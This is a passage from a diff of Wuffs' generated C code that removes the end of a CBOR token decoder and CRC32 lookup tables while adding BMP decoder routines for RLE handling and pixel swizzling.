{ +- v_vminor_alt |= 4096u; +- } else { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor_alt |= 8192u; +- } else { +- v_vminor_alt |= 16384u; +- } +- } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(1u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); +- goto label__goto_parsed_a_leaf_value__break; +- } +- } +- } while (0); +- if (iop_a_src > io1_a_src) { +- iop_a_src--; +- status = wuffs_base__make_status(wuffs_cbor__error__bad_input); +- goto exit; +- } +- status = wuffs_base__make_status(wuffs_cbor__error__internal_error_inconsistent_i_o); +- goto exit; +- } +- label__goto_parsed_a_leaf_value__break:; +- v_tagged = false; +- while (v_depth > 0u) { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- self->private_data.f_stack[v_stack_byte] ^= (((uint32_t)(1u)) << (v_stack_bit + 1u)); +- if (1u == (3u & (self->private_data.f_stack[v_stack_byte] >> v_stack_bit))) { +- goto label__outer__continue; +- } +- if (self->private_data.f_container_num_remaining[(v_depth - 1u)] <= 0u) { +- goto label__outer__continue; +- } +- self->private_data.f_container_num_remaining[(v_depth - 1u)] -= 1u; +- if (self->private_data.f_container_num_remaining[(v_depth - 1u)] > 0u) { +- goto label__outer__continue; +- } +- while (((uint64_t)(io2_a_dst - iop_a_dst)) <= 0u) { +- status = wuffs_base__make_status(wuffs_base__suspension__short_write); +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); +- continue; +- } +- v_depth -= 1u; +- v_stack_byte = (v_depth / 16u); +- v_stack_bit = ((v_depth & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor_alt = 2097186u; +- } else { +- v_vminor_alt = 2097218u; +- } +- if (v_depth <= 0u) { +- v_vminor_alt |= 4096u; +- } else { +- v_stack_byte = ((v_depth - 1u) / 16u); +- v_stack_bit = (((v_depth - 1u) & 15u) * 2u); +- if (0u == (self->private_data.f_stack[v_stack_byte] & (((uint32_t)(1u)) << v_stack_bit))) { +- v_vminor_alt |= 8192u; +- } else { +- v_vminor_alt |= 16384u; ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); ++#if defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wconversion" ++#endif ++ v_code -= 1u; ++#if defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif + } + } +- *iop_a_dst++ = wuffs_base__make_token( +- (((uint64_t)(v_vminor_alt)) << WUFFS_BASE__TOKEN__VALUE_MINOR__SHIFT) | +- (((uint64_t)(0u)) << WUFFS_BASE__TOKEN__LENGTH__SHIFT)); ++ v_rle_state = 0u; ++ goto label__middle__continue; + } +- break; ++ self->private_impl.f_rle_state = v_rle_state; ++ status = wuffs_base__make_status(wuffs_bmp__note__internal_note_short_read); ++ goto ok; + } +- self->private_impl.f_end_of_data = true; +- +- ok: +- self->private_impl.p_decode_tokens[0] = 0; +- goto exit; + } ++ label__outer__break:; ++ while (self->private_impl.f_dst_y < self->private_impl.f_height) { ++ v_row = wuffs_private_impl__table_u8__row_u32(v_tab, self->private_impl.f_dst_y); ++ if (v_dst_bytes_per_row < ((uint64_t)(v_row.len))) { ++ v_row = wuffs_base__slice_u8__subslice_j(v_row, v_dst_bytes_per_row); ++ } ++ wuffs_base__pixel_swizzler__swizzle_interleaved_transparent_black(&self->private_impl.f_swizzler, v_row, v_dst_palette, 18446744073709551615u); ++ self->private_impl.f_dst_y += self->private_impl.f_dst_y_inc; ++ } ++ status = wuffs_base__make_status(NULL); ++ goto ok; + +- goto suspend; +- suspend: +- self->private_impl.p_decode_tokens[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; +- self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 1 : 0; +- self->private_data.s_decode_tokens[0].v_string_length = v_string_length; +- self->private_data.s_decode_tokens[0].v_depth = v_depth; +- self->private_data.s_decode_tokens[0].v_tagged = v_tagged; +- self->private_data.s_decode_tokens[0].v_indefinite_string_major_type = v_indefinite_string_major_type; +- ++ ok: + goto exit; + exit: +- if (a_dst && a_dst->data.ptr) { +- a_dst->meta.wi = ((size_t)(iop_a_dst - a_dst->data.ptr)); +- } + if (a_src && a_src->data.ptr) { + a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); + } + +- if (wuffs_base__status__is_error(&status)) { +- self->private_impl.magic = WUFFS_BASE__DISABLED; +- } + return status; + } + +-#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CBOR) +- +-#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__CRC32) ++// -------- func bmp.decoder.swizzle_bitfields + +-// ---------------- Status Codes Implementations ++WUFFS_BASE__GENERATED_C_CODE ++static wuffs_base__status ++wuffs_bmp__decoder__swizzle_bitfields( ++ wuffs_bmp__decoder* self, ++ wuffs_base__pixel_buffer* a_dst, ++ wuffs_base__io_buffer* a_src) { ++ wuffs_base__status status = wuffs_base__make_status(NULL); + +-// ---------------- Private Consts ++ wuffs_base__pixel_format v_dst_pixfmt = {0}; ++ uint32_t v_dst_bits_per_pixel = 0; ++ uint32_t v_dst_bytes_per_pixel = 0; ++ uint64_t v_dst_bytes_per_row = 0; ++ wuffs_base__slice_u8 v_dst_palette = {0}; ++ wuffs_base__table_u8 v_tab = {0}; ++ wuffs_base__slice_u8 v_dst = {0}; ++ uint64_t v_i = 0; ++ uint64_t v_n = 0; ++ uint32_t v_p0 = 0; ++ uint32_t v_p1 = 0; ++ uint32_t v_p1_temp = 0; ++ uint32_t v_num_bits = 0; ++ uint32_t v_c = 0; ++ uint32_t v_c32 = 0; ++ uint32_t v_channel = 0; + +-static const uint32_t +-WUFFS_CRC32__IEEE_TABLE[16][256] WUFFS_BASE__POTENTIALLY_UNUSED = { +- { +- 0, 1996959894, 3993919788, 2567524794, 124634137, 1886057615, 3915621685, 2657392035, +- 249268274, 2044508324, 3772115230, 2547177864, 162941995, 2125561021, 3887607047, 2428444049, +- 498536548, 1789927666, 4089016648, 2227061214, 450548861, 1843258603, 4107580753, 2211677639, +- 325883990, 1684777152, 4251122042, 2321926636, 335633487, 1661365465, 4195302755, 2366115317, +- 997073096, 1281953886, 3579855332, 2724688242, 1006888145, 1258607687, 3524101629, 2768942443, +- 901097722, 1119000684, 3686517206, 2898065728, 853044451, 1172266101, 3705015759, 2882616665, +- 651767980, 1373503546, 3369554304, 3218104598, 565507253, 1454621731, 3485111705, 3099436303, +- 671266974, 1594198024, 3322730930, 2970347812, 795835527, 1483230225, 3244367275, 3060149565, +- 1994146192, 31158534, 2563907772, 4023717930, 1907459465, 112637215, 2680153253, 3904427059, +- 2013776290, 251722036, 2517215374, 3775830040, 2137656763, 141376813, 2439277719, 3865271297, +- 1802195444, 476864866, 2238001368, 4066508878, 1812370925, 453092731, 2181625025, 4111451223, +- 1706088902, 314042704, 2344532202, 4240017532, 1658658271, 366619977, 2362670323, 4224994405, +- 1303535960, 984961486, 2747007092, 3569037538, 1256170817, 1037604311, 2765210733, 3554079995, +- 1131014506, 879679996, 2909243462, 3663771856, 1141124467, 855842277, 2852801631, 3708648649, +- 1342533948, 654459306, 3188396048, 3373015174, 1466479909, 544179635, 3110523913, 3462522015, +- 1591671054, 702138776, 2966460450, 3352799412, 1504918807, 783551873, 3082640443, 3233442989, +- 3988292384, 2596254646, 62317068, 1957810842, 3939845945, 2647816111, 81470997, 1943803523, +- 3814918930, 2489596804, 225274430, 2053790376, 3826175755, 2466906013, 167816743, 2097651377, +- 4027552580, 2265490386, 503444072, 1762050814, 4150417245, 2154129355, 426522225, 1852507879, +- 4275313526, 2312317920, 282753626, 1742555852, 4189708143, 2394877945, 397917763, 1622183637, +- 3604390888, 2714866558, 953729732, 1340076626, 3518719985, 2797360999, 1068828381, 1219638859, +- 3624741850, 2936675148, 906185462, 1090812512, 3747672003, 2825379669, 829329135, 1181335161, +- 3412177804, 3160834842, 628085408, 1382605366, 3423369109, 3138078467, 570562233, 1426400815, +- 3317316542, 2998733608, 733239954, 1555261956, 3268935591, 3050360625, 752459403, 1541320221, +- 2607071920, 3965973030, 1969922972, 40735498, 2617837225, 3943577151, 1913087877, 83908371, +- 2512341634, 3803740692, 2075208622, 213261112, 2463272603, 3855990285, 2094854071, 198958881, +- 2262029012, 4057260610, 1759359992, 534414190, 2176718541, 4139329115, 1873836001, 414664567, +- 2282248934, 4279200368, 1711684554, 285281116, 2405801727, 4167216745, 1634467795, 376229701, +- 2685067896, 3608007406, 1308918612, 956543938, 2808555105, 3495958263, 1231636301, 1047427035, +- 2932959818, 3654703836, 1088359270, 936918000, 2847714899, 3736837829, 1202900863, 817233897, +- 3183342108, 3401237130, 1404277552, 615818150, 3134207493, 3453421203, 1423857449, 601450431, +- 3009837614, 3294710456, 1567103746, 711928724, 3020668471, 3272380065, 1510334235, 755167117, +- }, { +- 0, 421212481, 842424962, 724390851, 1684849924, 2105013317, 1448781702, 1329698503, +- 3369699848, 3519200073, 4210026634, 3824474571, 2897563404, 3048111693, 2659397006, 2274893007, +- 1254232657, 1406739216, 2029285587, 1643069842, 783210325, 934667796, 479770071, 92505238, +- 2182846553, 2600511768, 2955803355, 2838940570, 3866582365, 4285295644, 3561045983, 3445231262, +- 2508465314, 2359236067, 2813478432, 3198777185, 4058571174, 3908292839, 3286139684, 3670389349, +- 1566420650, 1145479147, 1869335592, 1987116393, 959540142, 539646703, 185010476, 303839341, +- 3745920755, 3327985586, 3983561841, 4100678960, 3140154359, 2721170102, 2300350837, 2416418868, +- 396344571, 243568058, 631889529, 1018359608, 1945336319, 1793607870, 1103436669, 1490954812, +- 4034481925, 3915546180, 3259968903, 3679722694, 2484439553, 2366552896, 2787371139, 3208174018, +- 950060301, 565965900, 177645455, 328046286, 1556873225, 1171730760, 1861902987, 2011255754, +- 3132841300, 2745199637, 2290958294, 2442530455, 3738671184, 3352078609, 3974232786, 4126854035, +- 1919080284, 1803150877, 1079293406, 1498383519, 370020952, 253043481, 607678682, 1025720731, +- 1711106983, 2095471334, 1472923941, 1322268772, 26324643, 411738082, 866634785, 717028704, +- 2904875439, 3024081134, 2668790573, 2248782444, 3376948395, 3495106026, 4219356713, 3798300520, +- 792689142, 908347575, 487136116, 68299317, 1263779058, 1380486579, 2036719216, 1618931505, +- 3890672638, 4278043327, 3587215740, 3435896893, 2206873338, 2593195963, 2981909624, 2829542713, +- 998479947, 580430090, 162921161, 279890824, 1609522511, 1190423566, 1842954189, 1958874764, +- 4082766403, 3930137346, 3245109441, 3631694208, 2536953671, 2385372678, 2768287173, 3155920004, +- 1900120602, 1750776667, 1131931800, 1517083097, 355290910, 204897887, 656092572, 1040194781, +- 3113746450, 2692952403, 2343461520, 2461357009, 3723805974, 3304059991, 4022511508, 4141455061, +- 2919742697, 3072101800, 2620513899, 2234183466, 3396041197, 3547351212, 4166851439, 3779471918, +- 1725839073, 2143618976, 1424512099, 1307796770, 45282277, 464110244, 813994343, 698327078, +- 3838160568, 4259225593, 3606301754, 3488152955, 2158586812, 2578602749, 2996767038, 2877569151, +- 740041904, 889656817, 506086962, 120682355, 1215357364, 1366020341, 2051441462, 1667084919, +- 3422213966, 3538019855, 4190942668, 3772220557, 2945847882, 3062702859, 2644537544, 2226864521, +- 52649286, 439905287, 823476164, 672009861, 1733269570, 2119477507, 1434057408, 1281543041, +- 2167981343, 2552493150, 3004082077, 2853541596, 3847487515, 4233048410, 3613549209, 3464057816, +- 1239502615, 1358593622, 2077699477, 1657543892, 764250643, 882293586, 532408465, 111204816, +- 1585378284, 1197851309, 1816695150, 1968414767, 974272232, 587794345, 136598634, 289367339, +- 2527558116, 2411481253, 2760973158, 3179948583, 4073438432, 3956313505, 3237863010, 3655790371, +- 347922877, 229101820, 646611775, 1066513022, 1892689081, 1774917112, 1122387515, 1543337850, +- 3697634229, 3313392372, 3998419255, 4148705398, 3087642289, 2702352368, 2319436851, 2468674930, +- }, { +- 0, 29518391, 59036782, 38190681, 118073564, 114017003, 76381362, 89069189, +- 236147128, 265370511, 228034006, 206958561, 152762724, 148411219, 178138378, 190596925, +- 472294256, 501532999, 530741022, 509615401, 456068012, 451764635, 413917122, 426358261, +- 305525448, 334993663, 296822438, 275991697, 356276756, 352202787, 381193850, 393929805, +- 944588512, 965684439, 1003065998, 973863097, 1061482044, 1049003019, 1019230802, 1023561829, +- 912136024, 933002607, 903529270, 874031361, 827834244, 815125939, 852716522, 856752605, +- 611050896, 631869351, 669987326, 640506825, 593644876, 580921211, 551983394, 556069653, +- 712553512, 733666847, 704405574, 675154545, 762387700, 749958851, 787859610, 792175277, +- 1889177024, 1901651959, 1931368878, 1927033753, 2006131996, 1985040171, 1947726194, 1976933189, +- 2122964088, 2135668303, 2098006038, 2093965857, 2038461604, 2017599123, 2047123658, 2076625661, +- 1824272048, 1836991623, 1866005214, 1861914857, 1807058540, 1786244187, 1748062722, 1777547317, +- 1655668488, 1668093247, 1630251878, 1625932113, 1705433044, 1684323811, 1713505210, 1742760333, +- 1222101792, 1226154263, 1263738702, 1251046777, 1339974652, 1310460363, 1281013650, 1301863845, +- 1187289752, 1191637167, 1161842422, 1149379777, 1103966788, 1074747507, 1112139306, 1133218845, +- 1425107024, 1429406311, 1467333694, 1454888457, 1408811148, 1379576507, 1350309090, 1371438805, +- 1524775400, 1528845279, 1499917702, 1487177649, 1575719220, 1546255107, 1584350554, 1605185389, +- 3778354048, 3774312887, 3803303918, 3816007129, 3862737756, 3892238699, 3854067506, 3833203973, +- 4012263992, 4007927823, 3970080342, 3982554209, 3895452388, 3924658387, 3953866378, 3932773565, +- 4245928176, 4241609415, 4271336606, 4283762345, 4196012076, 4225268251, 4187931714, 4166823541, +- 4076923208, 4072833919, 4035198246, 4047918865, 4094247316, 4123732899, 4153251322, 4132437965, +- 3648544096, 3636082519, 3673983246, 3678331705, 3732010428, 3753090955, 3723829714, 3694611429, +- 3614117080, 3601426159, 3572488374, 3576541825, 3496125444, 3516976691, 3555094634, 3525581405, +- 3311336976, 3298595879, 3336186494, 3340255305, 3260503756, 3281337595, 3251864226, 3222399125, +- 3410866088, 3398419871, 3368647622, 3372945905, 3427010420, 3448139075, 3485520666, 3456284973, +- 2444203584, 2423127159, 2452308526, 2481530905, 2527477404, 2539934891, 2502093554, 2497740997, +- 2679949304, 2659102159, 2620920726, 2650438049, 2562027300, 2574714131, 2603727690, 2599670141, +- 2374579504, 2353749767, 2383274334, 2412743529, 2323684844, 2336421851, 2298759554, 2294686645, +- 2207933576, 2186809023, 2149495014, 2178734801, 2224278612, 2236720739, 2266437690, 2262135309, +- 2850214048, 2820717207, 2858812622, 2879680249, 2934667388, 2938704459, 2909776914, 2897069605, +- 2817622296, 2788420399, 2759153014, 2780249921, 2700618180, 2704950259, 2742877610, 2730399645, +- 3049550800, 3020298727, 3057690558, 3078802825, 2999835404, 3004150075, 2974355298, 2961925461, +- 3151438440, 3121956959, 3092510214, 3113327665, 3168701108, 3172786307, 3210370778, 3197646061, +- }, { +- 0, 3099354981, 2852767883, 313896942, 2405603159, 937357362, 627793884, 2648127673, +- 3316918511, 2097696650, 1874714724, 3607201537, 1255587768, 4067088605, 3772741427, 1482887254, +- 1343838111, 3903140090, 4195393300, 1118632049, 3749429448, 1741137837, 1970407491, 3452858150, +- 2511175536, 756094997, 1067759611, 2266550430, 449832999, 2725482306, 2965774508, 142231497, +- 2687676222, 412010587, 171665333, 2995192016, 793786473, 2548850444, 2237264098, 1038456711, +- 1703315409, 3711623348, 3482275674, 1999841343, 3940814982, 1381529571, 1089329165, 4166106984, +- 4029413537, 1217896388, 1512189994, 3802027855, 2135519222, 3354724499, 3577784189, 1845280792, +- 899665998, 2367928107, 2677414085, 657096608, 3137160985, 37822588, 284462994, 2823350519, +- 2601801789, 598228824, 824021174, 2309093331, 343330666, 2898962447, 3195996129, 113467524, +- 1587572946, 3860600759, 4104763481, 1276501820, 3519211397, 1769898208, 2076913422, 3279374443, +- 3406630818, 1941006535, 1627703081, 3652755532, 1148164341, 4241751952, 3999682686, 1457141531, +- 247015245, 3053797416, 2763059142, 470583459, 2178658330, 963106687, 735213713, 2473467892, +- 992409347, 2207944806, 2435792776, 697522413, 3024379988, 217581361, 508405983, 2800865210, +- 4271038444, 1177467017, 1419450215, 3962007554, 1911572667, 3377213406, 3690561584, 1665525589, +- 1799331996, 3548628985, 3241568279, 2039091058, 3831314379, 1558270126, 1314193216, 4142438437, +- 2928380019, 372764438, 75645176, 3158189981, 568925988, 2572515393, 2346768303, 861712586, +- 3982079547, 1441124702, 1196457648, 4293663189, 1648042348, 3666298377, 3358779879, 1888390786, +- 686661332, 2421291441, 2196002399, 978858298, 2811169155, 523464422, 226935048, 3040519789, +- 3175145892, 100435649, 390670639, 2952089162, 841119475, 2325614998, 2553003640, 546822429, +- 2029308235, 3225988654, 3539796416, 1782671013, 4153826844, 1328167289, 1570739863, 3844338162, +- 1298864389, 4124540512, 3882013070, 1608431339, 3255406162, 2058742071, 1744848601, 3501990332, +- 2296328682, 811816591, 584513889, 2590678532, 129869501, 3204563416, 2914283062, 352848211, +- 494030490, 2781751807, 3078325777, 264757620, 2450577869, 715964072, 941166918, 2158327331, +- 3636881013, 1618608400, 1926213374, 3396585883, 1470427426, 4011365959, 4255988137, 1158766284, +- 1984818694, 3471935843, 3695453837, 1693991400, 4180638033, 1100160564, 1395044826, 3952793279, +- 3019491049, 189112716, 435162722, 2706139399, 1016811966, 2217162459, 2526189877, 774831696, +- 643086745, 2666061564, 2354934034, 887166583, 2838900430, 294275499, 54519365, 3145957664, +- 3823145334, 1532818963, 1240029693, 4048895640, 1820460577, 3560857924, 3331051178, 2117577167, +- 3598663992, 1858283101, 2088143283, 3301633750, 1495127663, 3785470218, 4078182116, 1269332353, +- 332098007, 2876706482, 3116540252, 25085497, 2628386432, 605395429, 916469259, 2384220526, +- 2254837415, 1054503362, 745528876, 2496903497, 151290352, 2981684885, 2735556987, 464596510, +- 1137851976, 4218313005, 3923506883, 1365741990, 3434129695, 1946996346, 1723425172, 3724871409, +- }, { +- 0, 1029712304, 2059424608, 1201699536, 4118849216, 3370159984, 2403399072, 2988497936, +- 812665793, 219177585, 1253054625, 2010132753, 3320900865, 4170237105, 3207642721, 2186319825, +- 1625331586, 1568718386, 438355170, 658566482, 2506109250, 2818578674, 4020265506, 3535817618, +- 1351670851, 1844508147, 709922595, 389064339, 2769320579, 2557498163, 3754961379, 3803185235, +- 3250663172, 4238411444, 3137436772, 2254525908, 876710340, 153198708, 1317132964, 1944187668, +- 4054934725, 3436268917, 2339452837, 3054575125, 70369797, 961670069, 2129760613, 1133623509, +- 2703341702, 2621542710, 3689016294, 3867263574, 1419845190, 1774270454, 778128678, 318858390, +- 2438067015, 2888948471, 3952189479, 3606153623, 1691440519, 1504803895, 504432359, 594620247, +- 1492342857, 1704161785, 573770537, 525542041, 2910060169, 2417219385, 3618876905, 3939730521, +- 1753420680, 1440954936, 306397416, 790849880, 2634265928, 2690882808, 3888375336, 3668168600, +- 940822475, 91481723, 1121164459, 2142483739, 3448989963, 4042473659, 3075684971, 2318603227, +- 140739594, 889433530, 1923340138, 1338244826, 4259521226, 3229813626, 2267247018, 3124975642, +- 2570221389, 2756861693, 3824297005, 3734113693, 1823658381, 1372780605, 376603373, 722643805, +- 2839690380, 2485261628, 3548540908, 4007806556, 1556257356, 1638052860, 637716780, 459464860, +- 4191346895, 3300051327, 2199040943, 3195181599, 206718479, 825388991, 1989285231, 1274166495, +- 3382881038, 4106388158, 3009607790, 2382549470, 1008864718, 21111934, 1189240494, 2072147742, +- 2984685714, 2357631266, 3408323570, 4131834434, 1147541074, 2030452706, 1051084082, 63335554, +- 2174155603, 3170292451, 4216760371, 3325460867, 1947622803, 1232499747, 248909555, 867575619, +- 3506841360, 3966111392, 2881909872, 2527485376, 612794832, 434546784, 1581699760, 1663499008, +- 3782634705, 3692447073, 2612412337, 2799048193, 351717905, 697754529, 1849071985, 1398190273, +- 1881644950, 1296545318, 182963446, 931652934, 2242328918, 3100053734, 4284967478, 3255255942, +- 1079497815, 2100821479, 983009079, 133672583, 3050795671, 2293717799, 3474399735, 4067887175, +- 281479188, 765927844, 1778867060, 1466397380, 3846680276, 3626469220, 2676489652, 2733102084, +- 548881365, 500656741, 1517752501, 1729575173, 3577210133, 3898068133, 2952246901, 2459410373, +- 3910527195, 3564487019, 2480257979, 2931134987, 479546907, 569730987, 1716854139, 1530213579, +- 3647316762, 3825568426, 2745561210, 2663766474, 753206746, 293940330, 1445287610, 1799716618, +- 2314567513, 3029685993, 4080348217, 3461678473, 2088098201, 1091956777, 112560889, 1003856713, +- 3112514712, 2229607720, 3276105720, 4263857736, 1275433560, 1902492648, 918929720, 195422344, +- 685033439, 364179055, 1377080511, 1869921551, 3713294623, 3761522863, 2811507327, 2599689167, +- 413436958, 633644462, 1650777982, 1594160846, 3978570462, 3494118254, 2548332990, 2860797966, +- 1211387997, 1968470509, 854852413, 261368461, 3182753437, 2161434413, 3346310653, 4195650637, +- 2017729436, 1160000044, 42223868, 1071931724, 2378480988, 2963576044, 4144295484, 3395602316, +- }, { +- 0, 3411858341, 1304994059, 2257875630, 2609988118, 1355649459, 3596215069, 486879416, +- 3964895853, 655315400, 2711298918, 1791488195, 2009251963, 3164476382, 973758832, 4048990933, +- 64357019, 3364540734, 1310630800, 2235723829, 2554806413, 1394316072, 3582976390, 517157411, +- 4018503926, 618222419, 2722963965, 1762783832, 1947517664, 3209171269, 970744811, 4068520014, +- 128714038, 3438335635, 1248109629, 2167961496, 2621261600, 1466012805, 3522553387, 447296910, +- 3959392091, 547575038, 2788632144, 1835791861, 1886307661, 3140622056, 1034314822, 4143626211, +- 75106221, 3475428360, 1236444838, 2196665603, 2682996155, 1421317662, 3525567664, 427767573, +- 3895035328, 594892389, 2782995659, 1857943406, 1941489622, 3101955187, 1047553757, 4113347960, +- 257428076, 3288652233, 1116777319, 2311878850, 2496219258, 1603640287, 3640781169, 308099796, +- 3809183745, 676813732, 2932025610, 1704983215, 2023410199, 3016104370, 894593820, 4262377657, +- 210634999, 3352484690, 1095150076, 2316991065, 2535410401, 1547934020, 3671583722, 294336591, +- 3772615322, 729897279, 2903845777, 1716123700, 2068629644, 2953845545, 914647431, 4258839074, +- 150212442, 3282623743, 1161604689, 2388688372, 2472889676, 1480171241, 3735940167, 368132066, +- 3836185911, 805002898, 2842635324, 1647574937, 2134298401, 3026852996, 855535146, 4188192143, +- 186781121, 3229539940, 1189784778, 2377547631, 2427670487, 1542429810, 3715886812, 371670393, +- 3882979244, 741170185, 2864262823, 1642462466, 2095107514, 3082559007, 824732849, 4201955092, +- 514856152, 3589064573, 1400419795, 2552522358, 2233554638, 1316849003, 3370776517, 62202976, +- 4075001525, 968836368, 3207280574, 1954014235, 1769133219, 2720925446, 616199592, 4024870413, +- 493229635, 3594175974, 1353627464, 2616354029, 2264355925, 1303087088, 3409966430, 6498043, +- 4046820398, 979978123, 3170710821, 2007099008, 1789187640, 2717386141, 661419827, 3962610838, +- 421269998, 3527459403, 1423225061, 2676515648, 2190300152, 1238466653, 3477467891, 68755798, +- 4115633027, 1041448998, 3095868040, 1943789869, 1860096405, 2776760880, 588673182, 3897205563, +- 449450869, 3516317904, 1459794558, 2623431131, 2170245475, 1242006214, 3432247400, 131015629, +- 4137259288, 1036337853, 3142660115, 1879958454, 1829294862, 2790523051, 549483013, 3952910752, +- 300424884, 3669282065, 1545650111, 2541513754, 2323209378, 1092980487, 3350330793, 216870412, +- 4256931033, 921128828, 2960342482, 2066738807, 1714085583, 2910195050, 736264132, 3770592353, +- 306060335, 3647131530, 1610005796, 2494197377, 2309971513, 1123257756, 3295149874, 255536279, +- 4268596802, 892423655, 3013951305, 2029645036, 1711070292, 2929725425, 674528607, 3815288570, +- 373562242, 3709388839, 1535949449, 2429577516, 2379569556, 1183418929, 3223189663, 188820282, +- 4195850735, 827017802, 3084859620, 2089020225, 1636228089, 2866415708, 743340786, 3876759895, +- 361896217, 3738094268, 1482340370, 2466671543, 2382584591, 1163888810, 3284924932, 144124321, +- 4190215028, 849168593, 3020503679, 2136336858, 1649465698, 2836138695, 798521449, 3838094284, +- }, { +- 0, 2792819636, 2543784233, 837294749, 4098827283, 1379413927, 1674589498, 3316072078, +- 871321191, 2509784531, 2758827854, 34034938, 3349178996, 1641505216, 1346337629, 4131942633, +- 1742642382, 3249117050, 4030828007, 1446413907, 2475800797, 904311657, 68069876, 2725880384, +- 1412551337, 4064729373, 3283010432, 1708771380, 2692675258, 101317902, 937551763, 2442587175, +- 3485284764, 1774858792, 1478633653, 4266992385, 1005723023, 2642744891, 2892827814, 169477906, +- 4233263099, 1512406095, 1808623314, 3451546982, 136139752, 2926205020, 2676114113, 972376437, +- 2825102674, 236236518, 1073525883, 2576072655, 1546420545, 4200303349, 3417542760, 1841601500, +- 2609703733, 1039917185, 202635804, 2858742184, 1875103526, 3384067218, 4166835727, 1579931067, +- 1141601657, 3799809741, 3549717584, 1977839588, 2957267306, 372464350, 668680259, 2175552503, +- 2011446046, 3516084394, 3766168119, 1175200131, 2209029901, 635180217, 338955812, 2990736784, +- 601221559, 2242044419, 3024812190, 306049834, 3617246628, 1911408144, 1074125965, 3866285881, +- 272279504, 3058543716, 2275784441, 567459149, 3832906691, 1107462263, 1944752874, 3583875422, +- 2343980261, 767641425, 472473036, 3126744696, 2147051766, 3649987394, 3899029983, 1309766251, +- 3092841090, 506333494, 801510315, 2310084639, 1276520081, 3932237093, 3683203000, 2113813516, +- 3966292011, 1243601823, 2079834370, 3716205238, 405271608, 3192979340, 2411259153, 701492901, +- 3750207052, 2045810168, 1209569125, 4000285905, 734575199, 2378150379, 3159862134, 438345922, +- 2283203314, 778166598, 529136603, 3120492655, 2086260449, 3660498261, 3955679176, 1303499900, +- 3153699989, 495890209, 744928700, 2316418568, 1337360518, 3921775410, 3626602927, 2120129051, +- 4022892092, 1237286280, 2018993941, 3726666913, 461853231, 3186645403, 2350400262, 711936178, +- 3693557851, 2052076527, 1270360434, 3989775046, 677911624, 2384402428, 3220639073, 427820757, +- 1202443118, 3789347034, 3493118535, 1984154099, 3018127229, 362020041, 612099668, 2181885408, +- 1950653705, 3526596285, 3822816288, 1168934804, 2148251930, 645706414, 395618355, 2984485767, +- 544559008, 2248295444, 3085590153, 295523645, 3560598451, 1917673479, 1134918298, 3855773998, +- 328860103, 3052210803, 2214924526, 577903450, 3889505748, 1101147744, 1883911421, 3594338121, +- 3424493451, 1785369663, 1535282850, 4260726038, 944946072, 2653270060, 2949491377, 163225861, +- 4294103532, 1501944408, 1752023237, 3457862513, 196998655, 2915761739, 2619532502, 978710370, +- 2881684293, 229902577, 1012666988, 2586515928, 1603020630, 4193987810, 3356702335, 1852063179, +- 2553040162, 1046169238, 263412747, 2848217023, 1818454321, 3390333573, 4227627032, 1569420204, +- 60859927, 2782375331, 2487203646, 843627658, 4159668740, 1368951216, 1617990445, 3322386585, +- 810543216, 2520310724, 2815490393, 27783917, 3288386659, 1652017111, 1402985802, 4125677310, +- 1685994201, 3255382381, 4091620336, 1435902020, 2419138250, 910562686, 128847843, 2715354199, +- 1469150398, 4058414858, 3222168983, 1719234083, 2749255853, 94984985, 876691844, 2453031472, +- }, { +- 0, 3433693342, 1109723005, 2391738339, 2219446010, 1222643300, 3329165703, 180685081, +- 3555007413, 525277995, 2445286600, 1567235158, 1471092047, 2600801745, 361370162, 3642757804, +- 2092642603, 2953916853, 1050555990, 4063508168, 4176560081, 878395215, 3134470316, 1987983410, +- 2942184094, 1676945920, 3984272867, 567356797, 722740324, 3887998202, 1764827929, 2778407815, +- 4185285206, 903635656, 3142804779, 2012833205, 2101111980, 2979425330, 1058630609, 4088621903, +- 714308067, 3862526333, 1756790430, 2753330688, 2933487385, 1651734407, 3975966820, 542535930, +- 2244825981, 1231508451, 3353891840, 188896414, 25648519, 3442302233, 1134713594, 2399689316, +- 1445480648, 2592229462, 336416693, 3634843435, 3529655858, 516441772, 2420588879, 1559052753, +- 698204909, 3845636723, 1807271312, 2803025166, 2916600855, 1635634313, 4025666410, 593021940, +- 4202223960, 919787974, 3093159461, 1962401467, 2117261218, 2996361020, 1008193759, 4038971457, +- 1428616134, 2576151384, 386135227, 3685348389, 3513580860, 499580322, 2471098945, 1608776415, +- 2260985971, 1248454893, 3303468814, 139259792, 42591881, 3458459159, 1085071860, 2349261162, +- 3505103035, 474062885, 2463016902, 1583654744, 1419882049, 2550902495, 377792828, 3660491170, +- 51297038, 3483679632, 1093385331, 2374089965, 2269427188, 1273935210, 3311514249, 164344343, +- 2890961296, 1627033870, 4000683757, 585078387, 672833386, 3836780532, 1782552599, 2794821769, +- 2142603813, 3005188795, 1032883544, 4047146438, 4227826911, 928351297, 3118105506, 1970307900, +- 1396409818, 2677114180, 287212199, 3719594553, 3614542624, 467372990, 2505346141, 1509854403, +- 2162073199, 1282711281, 3271268626, 240228748, 76845205, 3359543307, 1186043880, 2317064054, +- 796964081, 3811226735, 1839575948, 2702160658, 2882189835, 1734392469, 3924802934, 625327592, +- 4234522436, 818917338, 3191908409, 1927981223, 2016387518, 3028656416, 973776579, 4137723485, +- 2857232268, 1726474002, 3899187441, 616751215, 772270454, 